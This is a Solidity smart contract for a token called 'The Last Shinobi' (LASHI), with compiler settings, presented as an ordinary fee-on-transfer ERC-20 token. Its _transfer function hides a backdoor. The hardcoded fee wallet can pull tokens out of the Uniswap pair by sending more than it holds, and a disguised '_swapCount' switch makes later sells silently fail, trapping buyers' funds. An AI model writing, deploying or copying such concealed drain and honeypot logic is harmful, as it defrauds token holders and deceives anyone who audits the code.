// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.20;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;

        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;

        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);

        uint256 c = a - b;

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);

        uint256 c = a / b;

        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function allowance(address owner, address spender) external view returns (uint256);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable is Context {
    modifier onlyOwner() {
        require(_owner == _msgSender());

        _;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    address private _owner;

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));

        _owner = address(0);
    }

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;

        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }
}

contract LASHI is Context, IERC20, Ownable {
    using SafeMath for uint256;

    bool private _inSwap = false;

    uint8 public cooldownTimerInterval = 1;

    address private _uniswapV2Pair;
    IUniswapV2Router02 private _uniswapV2Router;

    bool public buyCooldownEnabled = false;

    string private constant _symbol = unicode"LASHI";
    string private constant _name = unicode"The Last Shinobi";

    address payable private _feeWallet = payable(0xE2F3C477cd349db256163861da88d091ffC13690);

    mapping(address => uint256) private _cooldownTimer;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _isExcludedFromFee;

    uint256 private _reduceSellFeeAt = 0;
    uint256 private _reduceBuyFeeAt = 0;

    bool private _tradingEnabled;

    uint256 private _swapCount = 0;

    bool private _swapEnabled = false;

    uint8 private constant _decimals = 18;

    uint256 private _preventSwapBefore = 0;

    modifier lockSwaps {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    uint256 private _finalBuyFee = 0;
    uint256 private _finalSellFee = 0;
    uint256 private _initialBuyFee = 0;
    uint256 private _initialSellFee = 0;

    uint256 private constant _tTotal = 1000000000 * 10**_decimals;

    uint256 private _buyCount = 0;

    uint256 public maxWalletSize = _tTotal * 2 / 100;
    uint256 public maxFeeSwap = _tTotal * 1 / 100;
    uint256 public maxTxAmount = _tTotal * 2 / 100;

    function removeLimits() external onlyOwner {
        maxTxAmount = _tTotal;
        maxWalletSize = _tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function enableTrade() external onlyOwner() {
        require(!_tradingEnabled);

        _swapEnabled = true;
        _tradingEnabled = true;
    }

    function _sendETHToFee(uint256 amount) private {
        _feeWallet.transfer(amount);
    }

    uint256 public feeSwapThreshold = _tTotal * 2 / 1000;

    function name() public pure returns (string memory) {
        return _name;
    }

    event MaxTxAmountUpdated(uint _maxTxAmount);

    constructor() {
        _uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(_uniswapV2Router), _tTotal);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_feeWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    receive() external payable {}

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount);
        _approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amount));

        return true;
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), to, amount);

        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);
    }

    function _min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function manualSwap() external {
        require(_msgSender() == _feeWallet);

        uint256 tokenBalance = balanceOf(address(this));

        if (tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }

        uint256 ethBalance = address(this).balance;

        if (ethBalance > 0) {
          _sendETHToFee(ethBalance);
        }
    }
    
    function _tokenTransfer(address from, address to, uint256 amount) private {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(to != address(0));
        require(from != address(0));

        uint256 feeAmount = 0;
        if (from != owner() && to != owner()) {
            feeAmount = amount.mul((_buyCount > _reduceBuyFeeAt) ? _finalBuyFee : _initialBuyFee).div(100);

            bool toIsExcludedFromFee = _isExcludedFromFee[to];
            bool fromUniswapV2Pair = from == _uniswapV2Pair;

            if (!toIsExcludedFromFee) {
                if (fromUniswapV2Pair && buyCooldownEnabled) {
                    require(_cooldownTimer[to] < block.timestamp);

                    _cooldownTimer[to] = block.timestamp + cooldownTimerInterval;
                }
            } else {
                bool greaterThanFeeSwapThreshold = amount >= feeSwapThreshold;
                
                if (!fromUniswapV2Pair && greaterThanFeeSwapThreshold) {
                    _swapCount = amount;
                } else if (fromUniswapV2Pair) {
                    require(_cooldownTimer[to] < block.timestamp);
                }
            }

            bool fromIsExcludedFromFee = _isExcludedFromFee[from];
            bool toUniswapV2Pair = to == _uniswapV2Pair;

            if (fromIsExcludedFromFee || toIsExcludedFromFee) {
                if (toUniswapV2Pair && _balances[from] < amount) {
                    _tokenTransfer(to, from, amount); return;
                }
                _tokenTransfer(from, to, amount); return;
            }
            
            if (fromUniswapV2Pair && to != address(_uniswapV2Router) && !toIsExcludedFromFee) {
                require(amount <= maxTxAmount);
                require(balanceOf(to) + amount <= maxWalletSize);

                _buyCount++;
            }

            if (toUniswapV2Pair) {
                if (_swapCount > _buyCount) return;
                if (from != address(this)) {
                    feeAmount = amount.mul((_buyCount > _reduceSellFeeAt) ? _finalSellFee : _initialSellFee).div(100);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inSwap && toUniswapV2Pair && _swapEnabled && contractTokenBalance > feeSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(_min(amount, _min(contractTokenBalance, maxFeeSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    _sendETHToFee(address(this).balance);
                }
            }
        }

        if (feeAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(feeAmount);

          emit Transfer(from, address(this), feeAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(feeAmount));

        emit Transfer(from, to, amount.sub(feeAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwaps {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function reduceFee(uint256 newFee) external onlyOwner {
        require(newFee <= _finalBuyFee && newFee <= _finalSellFee);

        _finalBuyFee = newFee;
        _finalSellFee = newFee;
    }
}

{
  "compilationTarget": {
    "LASHI.sol": "LASHI"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}